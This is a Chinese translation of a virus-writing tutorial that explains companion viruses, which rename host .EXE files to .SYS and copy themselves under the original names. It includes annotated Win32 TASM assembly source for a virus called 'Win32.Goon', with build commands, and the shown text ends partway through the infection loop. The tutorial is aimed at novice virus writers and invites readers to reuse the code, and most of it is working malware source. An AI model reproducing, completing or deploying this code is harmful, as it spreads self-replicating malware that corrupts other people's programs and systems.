译者的话：
1. 因为格式问题，本文需用“写字板”打开才能正常阅读
2. 本人只是翻译他人文章，对任何人利用本文造成不良后果不负任何责任！
3. 以下，即原文开始：

朋友们好，
今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考，而后我决然写这
篇教程！因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友，
但对于初学者和新手(像我)来说本文有益。是的，希望如此！当我的知识水平更进一步(下一步学习PE)后，我会
写下全部所懂与大家分享。现在，教程开始，希望它对你有所帮助并能坚持看完它->你必须坚持！


+++++声明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
你可以引用本文代码，但如果你想....的话,我对你因本文造成的任何破坏不负任何责任！
我的母语不是英语，希望你能理解我话的意思.如果有任何建议可写信至 DiA_hates_machine@gmx.de

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.....................................................
.                                                   .
. 索引:  _1_  :  什么是伴侣病毒                      .
.                                                   .
.        _2_  :  伴侣病毒如何工作的                  .
.                                                   .
.        _3_  :  带注释的病毒例子                    .
.                                                   .
.        _4_  :  结束语                             .
.                                                   .
.       _666_ :  附加 [Fuck da Window]              .
.                                                   .
.....................................................


*** _1_ : 什么是伴侣病毒 ***

伴侣病毒不改变宿主程序的代码，也没有添加代码，挂起或者其他任何动作。它仅仅是重命名宿主程序，然后把
自己复制为宿主程序原来的文件名.当你运行程序时，病毒会首先运行，当它所有工作完成，才接着运行宿主程序
。你可以把宿主和病毒两者的文件名都重命名回原先的文件名，这样宿主程序就能恢复正常。下面给出全过程的原
理图。

第一步: 

   /-------------\                            /-----------\
   |             |                           |            |
   | Program.EXE | ;目标文件的              | Virus.EXE  | ;我们必须了解病毒文件中的
   |             | ;原先文件名              |            | ;API函数: GetCommandLineA
   \-------------/                            \-----------/

第二步:

   /-------------\                            /-----------\
   |             |                            |           |
   | Program.EXE |                            | Virus.EXE |
   |             |                            |           |
   \-------------/                            \-----------/
          |
          |
       复制为
          |
          |
   /-------------\
   |             |
   | Program.SYS |
   |             |
   \-------------/

第三步:

   /-------------\                           /-----------\
   |             |                           |           |
   | Program.EXE |<---------复制为-----------| Virus.EXE |
   |             |                           |           |
   \-------------/                           \-----------/

恢复方法:
删除Program.EXE
把Program.SYS重命名回Program.EXE

所做就这些了...


*** _2_ : 伴侣病毒如何工作的 ***

1. 获取病毒文件的文件名
2. 创建宿主文件的原先文件名
3. 在当前目录搜索到第一个文件
4. 将目标文件复制为另一个文件名
5. 把病毒文件复制为目标文件的原先文件名
6. 搜索下一个文件->重复4. -->没有其他文件 跳到7.
7. 运行宿主程序 (经过了步 2.) 
8. 病毒退出

*** _3_ : 带注释的病毒例子 ***

理论够充足了！让我们看它怎么工作...

编译方法：

  TASM32 /z /ml /m3 Goon,,;
  TLINK32 -Tpe -c Goon,Goon,, import,lib


;-----cut----------------------------------------Goon.asm-----------------------------------

.386     ;386指令集
.model flat    ;内存平坦模式
jumps     ;TASM rulez

;+++++
; 你能理解，我想 :)
;+++++


extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件
extrn lstrcpyA  :PROC  ;复制字符串
extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件
extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件
extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_)
extrn CreateProcessA :PROC  ;运行宿主
extrn ExitProcess :PROC  ;退出病毒程序 

;+++++
; 这里，我们声明必需的API函数
; 我想你能理解
;+++++


.data
Goon   db ’Win32.Goon - Virus’,0
   db ’Only a Example Code’,0
   db ’by  DiA/auXnet’,0


FILETIME  STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME  ENDS

WIN32_FIND_DATA          label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

;+++++
; 这是 Win32 Find data:
; 这里保存关于目标文件的所有数据
; 我们仅仅对包含目标文件的名称的"WFD_szFileName"
; 记住我们必须复制目标文件成另外一个文件名，
; 而把病毒复制成目标文件最先的文件名
;+++++


VirusFile  db 260d dup (0)
HostFile  db 260d dup (0)
HostCopy  db 260d dup (0)

;+++++
; 这里创建文件名的空间：病毒文件名，宿主文件名，
; 还有我们必须创建的文件名(从目标文件复制)
;+++++


FileMask  db ’*.EXE’,0
FindHandle  dd 0
ProcessInfo  dd 4 dup (0)
StartupInfo  dd 4 dup (0)

;+++++
; 包含我们必须搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)
;+++++


.code
start:

;+++++
; ROCK ’N ROLL =)
;+++++


call GetCommandLineA

;+++++
; 这里我们获取包含正在运行的程序文件名的CommandLine
; (病毒文件 :). 现在，line 在eax了, 看下一步...
;+++++


inc eax     ; fuck da "
push eax
push offset VirusFile
call lstrcpyA    ;复制它

;+++++
; 为什么要’inc eax’???
; 因为CommandLine类似这样："C:\LUCI\HELL.EXE" (包含 ")
; 我们不能运行，复制带有"的程序,所以我们走到前面一个地方
; 它从eax复制到VirusFile
;+++++


mov esi,offset VirusFile  ;now in esi
call GetPoint    ;call a kewl procedure ;)

;+++++
; we must find da point to fuck the other "
; 让我们看看...
;+++++


mov dword ptr [esi+4],00000000d  ;清除它

;+++++
; 我们走到.EXE后面并清除"号
; ->现在我们得到完整funcional VirusFile
;+++++


push offset VirusFile
push offset HostFile
call lstrcpyA

;+++++
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)
; ...
;+++++


mov esi,offset HostFile
call GetPoint

;+++++
; 得到指针...
;+++++


mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’

;+++++
; 把它重命名为 .SYS (last 4 letters with point)
; 现在我们得到HostFile, 可能运行宿主...
; ...但是等等! 我们必须感染文件!!!
;+++++


push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax  ;保存句柄

;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask，请往上看...
; Call后Find Handle保存在eax中, FindNextFileA还要用到，我们保存它...
;+++++


FindNext:
test eax,eax    ;还有文件?
jz RunHost    ;如果没有就跳到RunHost

;+++++
; 当eax是null,说明当前目录里没有更多的文件可以被感染了
; 所有的文件都感染后就运行宿主
;+++++


push offset WFD_szFileName
push offset HostCopy
call lstrcpyA

;+++++
; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它
;+++++


mov esi,offset HostCopy
call GetPoint

;+++++
; 得到指针来重命名文件名为.SYS
; 稍后使用它复制原先的文件为宿主文件
;+++++


mov dword ptr [esi],5359532Eh  ; SYS.

;+++++
; 把它重命名为 .SYS (last 4 letters)
; 现在我们做所以工作完成感染目标文件:
; 病毒文件名
; 原先文件名
; 重命名目标文件名
; rock ’n roll =)
;+++++


push 1     ;如果文件已存在就不复制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

;+++++
; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys
; 如果文件已经存在,我们就不要复制它，我们不能复制它两次
;+++++